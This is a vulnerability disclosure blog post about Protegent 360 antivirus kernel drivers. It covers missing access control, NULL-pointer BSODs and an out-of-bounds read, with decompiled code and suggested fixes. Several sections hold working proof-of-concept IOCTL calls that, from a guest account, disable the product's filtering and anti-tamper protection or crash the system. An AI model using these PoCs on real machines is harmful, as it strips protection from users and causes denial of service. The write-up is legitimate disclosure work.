DREADSEC

VULNERABILITY & SECURITY RESEARCH • WHISKEY AND 0XCC

main write-ups

⟵ back to index

CVE-2026-38763 CVE-2026-38764 CVE-2026-38765 CVE-2026-38766

Category: Exploit Development
Published: May 21, 2026
Read time: ~20 min
Difficulty: Intermediate
Target: Protegent 360 v2.0.0.4
Vendor: Unistal Systems Pvt. Ltd.

SECTIONS

What's Protegent 360?
The Targets
Architecture Overview
Secure Folders ACL
Secure Folders BSOD
File Filter ACL
File Filter BSOD
File Filter OOB Read
How to Fix This

This Anti-Virus is Malware

A deep dive into several kernel vulnerabilities in Unistal Systems' "antivirus" product

• insecure access control • null pointer dereference • out-of-bounds read • privilege escalation • denial of service

CWE-732 CWE-476 CWE-125 Kernel CVE / Zero-Day WDM

TL;DR

Protegent 360 v2.0.0.4 (latest as of disclosure) by Unistal Systems ships two kernel drivers with zero access control on their device objects. Any unprivileged local user can disable all security filtering,

overwrite protected system files in `C:\Windows\system32`, blue-screen the machine at will, and read adjacent kernel pool memory.

SO WHAT'S PROTEGENT 360?

NOTE: Before reading this, please go watch this video for context on this shitty software. You can thank Joel for introducing so many to the monstrosity that is Protegent.

I'm honestly surprised there were no entries for this thing on MITRE because, just by looking at it, it's a gold mine. It's probably because no one wants to be associated with this shit, so I'll be the one to volunteer.

Alright, so, **Protegent 360** version 2.0.0.4 is a made-in-India security product by **Unistal Systems Pvt. Ltd.**, and it's pretty popular in some countries, for some reason. It ships two Windows kernel-mode drivers that are supposed to protect your files and processes from tampering, but what it actually does is install two wide-open backdoors into ring-0. It's also apparently the "World's Only Antivirus with Cloud Technology" or something? What?

In that sense, it might as well be malware, and between the two drivers, I found several vulnerabilities in this shit. Any unprivileged local user, we're talking a guest account, a kiosk user, literally anyone who can boot a computer, can disable all security filtering, overwrite protected system files, blue-screen the machine, and read kernel memory (without a write-primitive) they have no business touching.

Every single vulnerability was confirmed on a live system. Both BSODs are 100% reproducible. The whole thing took an embarrassingly short amount of time to find because, and I cannot stress this enough, **there are zero access control checks in either driver**.

#	COMPONENT	VER	CWE	WHAT WENT WRONG	WHAT HAPPENS
1	Secure Folders (wscsrv.sys)	1.0.0.9	CWE-732	No access control	Any user can nuke all security rules and write to system32
2	Secure Folders (wscsrv.sys)	1.0.0.9	CWE-476	ExAllocatePool return value? What's that?	BSOD: SYSTEM_SERVICE_EXCEPTION
3	Protegent File Filter (pgsecdl.sys)	9.0.0.1	CWE-732	No access control, again	Any user can disable process protection
4	Protegent File Filter (pgsecdl.sys)	9.0.0.1	CWE-476	They did the same thing, again	BSOD: PAGE_FAULT_IN_NONPAGED_AREA
5	Protegent File Filter (pgsecdl.sys)	9.0.0.1	CWE-125	Never heard of InputBufferLength	Reads 2KB of whatever's next to your buffer in kernel pool

THE TARGETS

Secure Folders Driver (wscsrv.sys). Version 1.0.0.9

Product	Protegent 360 v2.0.0.4
Vendor	Unistal Systems Pvt. Ltd.
SHA256	FEE8FA2AC532E313F4B3B29CCE79E52444FC091068F92981D79AEFA6C584170B
Device	\Device\FE79F7D853E643089D51EDCDA79805C4

Symlink	`\\.\BE79F7D853E643089D51EDCDA79805C4`
IOCTL Method	METHOD_BUFFERED (all IOCTLs)
IOCTL Access	FILE_ANY_ACCESS (all IOCTLs)

Here's a fun detail: the driver binary is byte-for-byte identical across installations (same SHA256), but the installer registers it under a **random service name** every time (in this blog, `netrdb.sys`). Some kind of obscurity-based anti-analysis move, I guess. The driver figures out its own name at runtime by parsing the registry path passed to `DriverEntry`.

It uses this name to build paths for config files in `C:\Windows\system32\`:

FILE PATTERN	CONTENTS	EXAMPLE (SERVICE=NETRDB)
`<name>sr.dat`	Serialized path protection rules	`netrdbsr.dat`
`<name>sp.dat`	Serialized volume protection rules	`netrdbsp.dat`
`<name>st1.dat`	Enabled/disabled state flag	`netrdbst1.dat`

All three files get the `HIDDEN | SYSTEM` attribute treatment. Very stealthy. Too bad any user can overwrite them via IOCTL.

Protegent File Filter Driver (pgsecdl.sys). Version 9.0.0.1

Product	Protegent 360 v2.0.0.4
Vendor	Unistal Systems Pvt. Ltd.
SHA256	`6E7F947068864177022312B195C5A1B813B041300FC96AE0929E583449F7E904`
Device	`\Device\736EC9A3100C4296A350F320...` (GUID-based)
Symlink	`\\.\7774948FAA234777974ED537F346B29F`
PDB Name	`msfilter.pdb` (can you believe this?)
IOCTL Methods	METHOD_IN_DIRECT (0x01, 0x05, 0x09), METHOD_BUFFERED (0x0C)
IOCTL Access	FILE_ANY_ACCESS (all IOCTLs)

The PDB is called `msfilter.pdb`. Very official sounding. Very not-Microsoft.

HOW THESE DRIVERS WORK (LOOSELY SPEAKING)

Both drivers implement a similar architecture:

- **Minifilter callbacks** via `FltRegisterFilter` - intercept filesystem operations to enforce path-based access rules
- **ObRegisterCallbacks** - intercept process handle operations to prevent tampering (anti-kill)
- **IOCTL interfaces** - let a management app load rules, toggle filtering, whitelist processes
- **Persistent config** - serialize rules to `.dat` files in `C:\Windows\system32\` via kernel `ZwCreateFile`/`ZwWriteFile`, reload on boot

The entire security model rests on one assumption: only the trusted management app will talk to the driver. How is this assumption enforced?

It's not. At all. Not even a little bit.

No security descriptor on the device object. FILE_ANY_ACCESS on every IOCTL. The IRP_MJ_CREATE handlers are either pure stubs or just do lazy config loading. Zero calls to SeAccessCheck, SeSinglePrivilegeCheck, or anything resembling access control. The front door is wide open and there's a sign on it that says "come on in."

"SECURE" FOLDERS, NO SECURITY

CWE-732 - Incorrect Permission Assignment for Critical Resource

The Problem

The Secure Folders driver creates a device object that any local user can open, exposes eight IOCTLs with FILE_ANY_ACCESS, and has an IRP_MJ_CREATE handler that performs zero access checks. Not "minimal" access checks. Not "insufficient" access checks. **Zero.**

Any unprivileged process can:

1. **Kill the filter** - set the enabled flag to 0 (IOCTL 0x9C40241C)
2. **Read driver internals** - query the enabled state and version (IOCTLs 0x9C402420, 0x9C402418)
3. **Self-whitelist** - add itself to the minifilter bypass list (IOCTL 0x9C402424)
4. **Nuke all path protection rules** - and persist the empty ruleset to disk via kernel-mode ZwWriteFile (IOCTL 0x9C402400)
5. **Nuke all volume protection rules** - same deal (IOCTL 0x9C402408)
6. **Trigger serialization/flush** (IOCTLs 0x9C402404, 0x9C40240C)

The worst part: IOCTLs 0x9C402400 and 0x9C402408 cause the driver to overwrite files in C:\Windows\system32\ using kernel-mode ZwCreateFile/ZwWriteFile. An unprivileged user's DeviceIoControl call gets amplified into kernel-mode writes to a protected system directory. The NTFS ACLs on those files? Completely irrelevant. The driver runs in ring 0 and ZwCreateFile doesn't care about your user token.

Let's Look at the Code

Here's the IRP_MJ_CREATE handler. See if you can spot the access control logic:

DECOMPILATION, SUB_131BC

```
uint64_t sub_131bc(int64_t arg1, void* arg2)
{
    int64_t rdi = 0xC000000D;      // status_invalid_parameter
    void* rax_1 = *(arg2 + 0xb8);  // io_stack_location

    if (*(int8_t*)rax_1 == 0)  // irp_mj_create
    {
        if (*(data_19170 + 0xB4) == 1)  // config already loaded?
        {
            rdi = 0;  // status_success, please come on in
        }
        else
        {
            sub_119a4(**(data_19170));  // lazy-init: load config from disk
            rdi = 0;  // status_success, still come on in
        }
    }

    *(int32_t*)(arg2 + 0x30) = rdi;
    IofCompleteRequest(arg2, 0);
```

```
    return (uint64_t)rdi;
}
```

Did you find the access control? No? That's because there isn't any. No SeAccessCheck. No SeSinglePrivilegeCheck. No token inspection. The function checks if config has been loaded from disk, loads it if not, and says STATUS_SUCCESS. That's it. That's the whole handler.

Here's the kernel file write function that makes privilege amplification possible:

DECOMPILATION, SUB_140F4

```
int64_t sub_140f4(int64_t arg1, int64_t arg2, int64_t arg3)
{
    ZwCreateFile(&handle,
        0x120102,  // synchronize | file_write_data | file_write_attributes
        &objAttrs,
        &ioStatus,
        NULL,      // allocation size
        6,         // file_attribute_hidden | file_attribute_system
        1,         // file_share_read
        5,         // file_overwrite_if (create or truncate)
        0x60,      // file_non_directory_file | file_synchronous_io_nonalert
        NULL, 0);

    if (arg3 != 0)
        ZwWriteFile(handle, 0, 0, 0, &ioStatus, arg2, arg3, 0, 0);

    ZwClose(handle);
}
```

The call chain: **unprivileged guest user** -> `DeviceIoControl` -> **kernel IOCTL handler** -> `ZwWriteFile` to `C:\Windows\system32\`. The security product designed to protect your files is the mechanism by which your files get overwritten.

Exploitation

Disabling the entire security filter is one IOCTL:

PROOF OF CONCEPT

```
HANDLE h = CreateFileA("\\\\.\\BE79F7D853E643089D51EDCDA79805C4",
                       GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

DWORD val = 0;
DeviceIoControl(h, 0x9C40241C, &val, sizeof(val), NULL, 0, &ret, NULL);
// filter disabled, persisted to st1.dat, stays dead across reboots
```

Clearing all the rules is equally trivial:

PROOF OF CONCEPT

```
DWORD dummy = 0;
DeviceIoControl(h, 0x9C402400, &dummy, sizeof(dummy), NULL, 0, &ret, NULL);
// netrdbsr.dat truncated from 25,620 bytes to 4 bytes

DeviceIoControl(h, 0x9C402408, &dummy, sizeof(dummy), NULL, 0, &ret, NULL);
// netrdbsp.dat truncated from 3,476 bytes to 4 bytes
```

Results

Every single IOCTL worked from a **non-administrator user**:

IOCTL	ACTION	RESULT
0x9C40241C	Disable filter (enabled=0)	SUCCESS, filter disabled, persisted to st1.dat
0x9C402420	Query enabled state	SUCCESS, returned 0 (disabled)

IOCTL	ACTION	RESULT
0x9C402418	Read version	SUCCESS, returned 0x0A
0x9C402424	Self-whitelist PID	SUCCESS, minifilter PreCreate bypassed
0x9C402400	Clear path rules	SUCCESS, netrdbsr.dat: 25,620 → 4 bytes
0x9C402408	Clear volume rules	SUCCESS, netrdbsp.dat: 3,476 → 4 bytes
0x9C402404	Flush rule list 1	SUCCESS, netrdbst1.dat created
0x9C40240C	Flush rule list 2	SUCCESS

Every row is a guest account doing things only SYSTEM should be able to do. Every row is a "security" product making the system less secure than if it wasn't installed.

BSOD AS A SERVICE (SECURE FOLDERS EDITION)

CWE-476 - NULL Pointer Dereference

The Problem

Both serialization functions in the Secure Folders driver, `sub_13828` (path rules) and `sub_138fc` (volume rules), call ExAllocatePool(NonPagedPool, size) to get a contiguous buffer for serializing the in-memory rule list. In kernel development, there is exactly one thing you are supposed to do after calling `ExAllocatePool`: **check if it returned NULL**. Unistal's developers chose not to do this.

When the allocation fails, the subsequent `memcpy` writes to address `0x0000000000000000`. Kernel page fault. Blue screen. The kind of thing that might, hypothetically, be caught by even basic code review, static analysis, or literally reading the documentation for the function you just called.

DECOMPILATION, SUB_13828

```
int64_t sub_13828(int64_t* arg1, int64_t* arg2)
{
    FltAcquirePushLockShared(&arg1[1]);

    int32_t rax = arg1[2];  // count of rules in linked list
    uint64_t rbx = (uint64_t)(rax * 0x1404);  // total buffer size

    int64_t rcx_1 = *(int64_t*)arg2;
    if (rcx_1 != 0)
        ExFreePoolWithTag(rcx_1, 0);  // free previous buffer

    if (rbx == 0) {
        *(int64_t*)arg2 = 0;
    } else {
        *(int64_t*)arg2 = ExAllocatePool(0, rbx);  // no null check
    }

    arg2[1] = rbx;

    if (rbx > 0) {
        int64_t* rbx_1 = *(int64_t*)arg1;
        void* rsi_1 = NULL;

        while (/* walk linked list */) {
            // if ExAllocatePool returned null, this writes to address 0x0:
            sub_148c0(rsi_1 + *(int64_t*)arg2, rdx_1, 0x1404);  // memcpy
            rsi_1 += 0x1404;
        }
    }
```

```
    FltReleasePushLock(&arg1[1]);
}
```

Volume serialization (`sub_138fc`) is the same thing with `0xD94` instead of `0x1404`. They copy-pasted the bug.

Making ExAllocatePool Fail

Here's where it gets interesting. You can't just load a ton of rules and hope the serialization alloc fails; the I/O manager frees the SystemBuffer from the loading IOCTL right before you trigger serialization, creating a perfectly-sized hole for the serialization buffer to land in. I tested this: 500,000 path rules (~2.4GB of individual kernel allocs) followed by serialization succeeded every time. The pool allocator happily reused the freed hole.

The trick is to **fill the hole** before serialization runs. The exploit uses concurrent threads:

- **Phase 1 - Load path rules:** Send N rules via IOCTL `0x9C402400`. The driver allocates `N * 0x1410` bytes in small individual pools (these succeed). When the IOCTL returns, the SystemBuffer (`N * 0x1404` bytes) is freed, leaving a big contiguous hole.
- **Phase 2 - Pin the hole:** Spawn threads that each open a separate device handle and send massive volume rule buffers via IOCTL `0x9C402408`. The I/O manager allocates a SystemBuffer for each of these IOCTLs *before* dispatching them, and doesn't free them until the driver finishes processing. While the driver is busy parsing hundreds of thousands of volume rule entries, the SystemBuffers sit there occupying the hole.
- **Phase 3 - Pull the trigger:** With the hole occupied, call IOCTL `0x9C402404`. The serialization function tries to allocate `N * 0x1404` bytes contiguous. The hole is full. `ExAllocatePool` returns NULL. The driver writes to address zero. BSOD.

> This works because path rules and volume rules use **different push locks** (`context+0x38` vs `context+0x50`), so the volume loading and path serialization can run concurrently without deadlocking.

The exploit auto-scales to the target's RAM:

AUTO-SCALING

```
MEMORYSTATUSEX meminfo;
meminfo.dwLength = sizeof(meminfo);
GlobalMemoryStatusEx(&meminfo);
ULONGLONG total_ram = meminfo.ullTotalPhys;

DWORD path_rules = (DWORD)((total_ram / 4) / 0x1410);  // 25% of ram
ULONGLONG hole_size = (ULONGLONG)path_rules * 0x1404;
ULONGLONG filler_target = (hole_size * 6 / 5) / 3;     // 120% / 3 threads
```

RAM	PATH RULES	HOLE SIZE	FILLER/THREAD	TOTAL PINNED
4 GB	~168K	~821 MB	~328 MB	~984 MB
8 GB	~337K	~1.6 GB	~657 MB	~1.97 GB
16 GB	~675K	~3.3 GB	~1.3 GB	~3.9 GB
32 GB	~838K (cap)	~4.1 GB	~1.6 GB	~4.9 GB

Any unprivileged user can BSOD the machine at will. A security product that lets guest accounts crash the kernel. Outstanding work.

THE OTHER DRIVER ALSO FORGOT ABOUT ACCESS CONTROL

CWE-732 - Incorrect Permission Assignment for Critical Resource

The Problem

You'd think after building one driver with zero access control, the developers might have remembered to add some to the second one. You'd be wrong.

The Protegent File Filter driver's `IRP_MJ_CREATE` handler is the most minimal handler I've ever seen. Here's the entire thing:

DECOMPILATION, SUB_185F0

```
int64_t sub_185f0(int64_t arg1, void* arg2)
{
    *(int32_t*)(arg2 + 0x30) = 0;   // iostatus.status = status_success
    *(int64_t*)(arg2 + 0x38) = 0;   // iostatus.information = 0
    IofCompleteRequest(arg2, 0);
    return 0;
}
```

That's it. Set status to success, complete the IRP, go home. This function has four lines of code and zero of them involve security. It doesn't even pretend. There's no commented-out access check, no TODO, no placeholder. The concept of access control simply does not exist in this codebase.

Through the four exposed IOCTLs, an attacker can:

1. **Clear all protection rules** - empty the kernel linked list at `data_202a0`, making the `ObPreOperationCallback` match against nothing (IOCTL `0x9C402401` with count=0)
2. **Inject arbitrary rules** - add attacker-controlled 0x800-byte entries to the kernel rule list (IOCTL `0x9C402401` with count>0)
3. **Clear the process protection list** - empty `data_202a8`, removing all anti-tamper entries (IOCTL `0x9C402405` with count=0)
4. **Inject process entries** - add arbitrary 8-byte values into the process protection list (IOCTL `0x9C402405` with count>0)
5. **Overwrite global config** - write any DWORD to `data_20410` (IOCTL `0x9C402409`)
6. **Trigger serialize/flush** - clear all push-lock-protected entries (IOCTL `0x9C40240C`)

The practical impact: the `ObPreOperationCallback` registered at altitude "1107" normally strips `PROCESS_TERMINATE` and other rights from handle operations targeting protected processes. Clear the rule and process lists, and that callback becomes a no-op. The AV's anti-tamper protection, the mechanism that prevents malware from killing the AV, is disabled with two IOCTLs from a guest account.

The Code

The rule loading function unconditionally frees the entire existing rule list before adding new ones:

DECOMPILATION, SUB_18618

```
int64_t sub_18618(int32_t* arg1)
{
    data_202b8 = arg1[0];  // field0
    data_202bc = arg1[1];  // field1

    // free all existing rules, no questions asked
    while (data_202a0 != 0) {
        r8_1 = data_202a0;
```

```
        data_202a0 = *(int64_t*)r8_1;
        ExFreePoolWithTag(&r8_1[-0x100], 0);
    }

    ExAcquireResourceExclusiveLite(&data_20168, 1);

    if (arg1[2] > 0) {  // count
        void* rbp_1 = &arg1[3];
        int64_t rdi = 0;
        do {
            char* rax_3 = ExAllocatePool(0, 0x808);
            sub_19630(rax_3, rbp_1, 0x800);
            *(int64_t*)(rax_3 + 0x800) = data_202a0;
            data_202a0 = &rax_3[0x800];
            rdi++;
            rbp_1 += 0x800;
        } while (rdi < arg1[2]);
    }

    ExReleaseResourceLite(&data_20168);
}
```

Send `{0, 0, 0}` (12 bytes) and the entire protection list is gone. The ObCallback now protects nothing. I genuinely wonder if this was tested even once.

Results

IOCTL	ACTION	RESULT
`0x9C402401` (count=0)	Clear rules	SUCCESS, ObCallbacks matching disabled
`0x9C402401` (count=1)	Inject rule	SUCCESS, crafted entry in kernel list
`0x9C402405` (count=0)	Clear process list	SUCCESS, process protection removed
`0x9C402405` (count=1)	Inject process entry	SUCCESS, `0x4141414141414141` in kernel list
`0x9C402409`	Set config	SUCCESS, `data_20410` overwritten
`0x9C40240C`	Flush/serialize	error 0x7A (ERROR_INSUFFICIENT_BUFFER, no port client, but the IOCTL still dispatched)

All from a non-admin user. The AV that's supposed to protect your processes from being killed can have its protection removed by the processes it's supposed to be protecting against.

BSOD AS A SERVICE (FILE FILTER EDITION)

CWE-476 - NULL Pointer Dereference

The Problem

Remember how the Secure Folders driver doesn't check `ExAllocatePool`'s return value? The Protegent File Filter driver does the exact same thing. These drivers were almost certainly written by the same team (or person), and they apparently have a strong commitment to never learning from their mistakes.

The rule loading function `sub_18618` calls `ExAllocatePool(NonPagedPool, 0x808)` in a loop, once per rule entry. The loop count comes straight from the attacker-controlled input buffer. The return value is never checked.

DECOMPILATION, SUB_18618 (LOOP)

```
do {
    char* rax_3 = ExAllocatePool(0, 0x808);  // can return null

    // immediate dereference, no check:
    sub_19630(rax_3, rbp_1, 0x800);              // memcpy to null
    *(int64_t*)(rax_3 + 0x800) = data_202a0;     // write to null+0x800
    data_202a0 = &rax_3[0x800];                  // store null+0x800 as list head

    rdi++;
    rbp_1 += 0x800;
} while (rdi < arg1[2]);  // arg1[2] = attacker-controlled count
```

Exploitation

This one is laughably simple compared to the Secure Folders BSOD. No concurrent thread tricks needed. Just send a ridiculous count:

PROOF OF CONCEPT

```
DWORD buf[3];
buf[0] = 0;           // field0
buf[1] = 0;           // field1
buf[2] = 0x7FFFFFFF;  // count, 2 billion entries

DeviceIoControl(h, 0x9C402401, buf, sizeof(buf), NULL, 0, &ret, NULL);
// never returns, bsod
```

That's a 12-byte buffer claiming to contain 2,147,483,647 rule entries. The driver doesn't check `InputBufferLength` against the claimed count, so it just starts allocating 0x808 bytes per iteration until the pool runs dry and the next allocation returns NULL.

The entire exploit is three DWORDs. My PoC tool has more lines in its help text than in the actual exploit code.

READING MEMORY YOU DON'T OWN

CWE-125 - Out-of-Bounds Read

The Problem

The IOCTL dispatch function `sub_186f4` validates `InputBufferLength` with the rigor of a bouncer at an abandoned building: it checks that it's not zero. That's the bar. If your buffer is at least 1 byte long, you're in.

The rule loading handler `sub_18618` then reads a 12-byte header followed by `count * 0x800` bytes of entry data, but it never received the buffer length, so it has no way to bounds-check even if it wanted to (which it clearly doesn't). Send a 12-byte buffer with `count = 1`, and the driver reads 2,048 bytes past the end of your allocation into whatever kernel pool memory happens to be next door.

The Code

DECOMPILATION, SUB_186F4 (DISPATCH)

```
if (rcx == 0x9C402401) {
    if (rdx != 0)  // rdx = InputBufferLength. this is the only validation.
        sub_18618(*(arg2 + 0x18));  // buffer pointer, no length. good luck.
}
```

The function doesn't know how big its buffer is. Nobody told it. It just reads until it's done or until it hits an unmapped page and crashes.

Exploitation

PROOF OF CONCEPT

```
DWORD buf[3];
buf[0] = 0;  // field0
buf[1] = 0;  // field1
buf[2] = 1;  // count = 1, but no entry data in the buffer

DeviceIoControl(h, 0x9C402401, buf, sizeof(buf),  // only 12 bytes
                NULL, 0, &ret, NULL);
// success, driver read 0x800 bytes of adjacent pool data
```

The I/O manager allocates a 12-byte SystemBuffer from NonPagedPool. The driver reads the header fine, then reads 2,048 bytes starting at offset 12, 2,048 bytes past the end of the allocation. Whatever was sitting next to that 12-byte buffer in the kernel pool, other drivers' allocations, freed blocks with residual data, token structures, gets copied into a new rule entry.

There's no IOCTL to read rule data back to user-mode, so the leaked data stays trapped in the kernel linked list. This limits the practical impact: you can't use it for KASLR bypass or direct information disclosure. But it's still a genuine out-of-bounds read that could crash the machine if it crosses a page boundary, and the leaked data could influence driver behavior if the rule matching logic processes garbage as rule content.

HOW TO ACTUALLY FIX THIS

Since somebody has to say it:

1. Add Access Control (CWE-732)

Put a security descriptor on the device object. This is the single most basic thing you can do when creating a kernel device:

FIX

```
UNICODE_STRING sddl = RTL_CONSTANT_STRING(
    L"D:P(A;;GA;;;BA)(A;;GA;;;SY)");  // administrators + system only
IoCreateDeviceSecure(DriverObject, 0, &deviceName,
    FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE,
    &sddl, NULL, &deviceObject);
```

This is literally in the WDK documentation. Under "Security." The first section.

2. Check ExAllocatePool (CWE-476)

FIX

```
void* buf = ExAllocatePool(NonPagedPool, size);
if (buf == NULL) {
    status = STATUS_INSUFFICIENT_RESOURCES;
    goto cleanup;
}
```

This is taught in every introductory kernel programming resource. The function can fail. Check the return value. This shouldn't need to be said.

3. Validate InputBufferLength (CWE-125)

FIX

```
if (InputBufferLength < 12) return STATUS_BUFFER_TOO_SMALL;
DWORD count = ((DWORD*)SystemBuffer)[2];
if (InputBufferLength < 12 + (ULONGLONG)count * 0x800)
    return STATUS_BUFFER_TOO_SMALL;
```

Pass the buffer length to your handler functions. Check it before reading. Standard practice since the invention of buffers.

4. Check for Integer Overflow

FIX

```
if (count > (MAXULONG / 0x1404)) return STATUS_INTEGER_OVERFLOW;
SIZE_T alloc_size = (SIZE_T)count * 0x1404;
```

Because multiplying an attacker-controlled DWORD by a constant and passing it to a memory allocator without overflow checking is exactly how you get surprise BSODs.

Every vulnerability in this report represents a failure of basic kernel development practice. Not subtle race conditions, not complex logic errors, not edge cases in unusual configurations. Missing null checks. Missing access control. Missing buffer length validation. The kind of bugs that SAL annotations catch, that static analysis tools flag, that code review should find in minutes. This is a commercial security product that ships kernel drivers to protect end users, and it fails to implement security fundamentals that are covered in chapter 1 of any WDK tutorial. **Protegent 360** is a **piece of shit** and no one should ever install it.

Research Log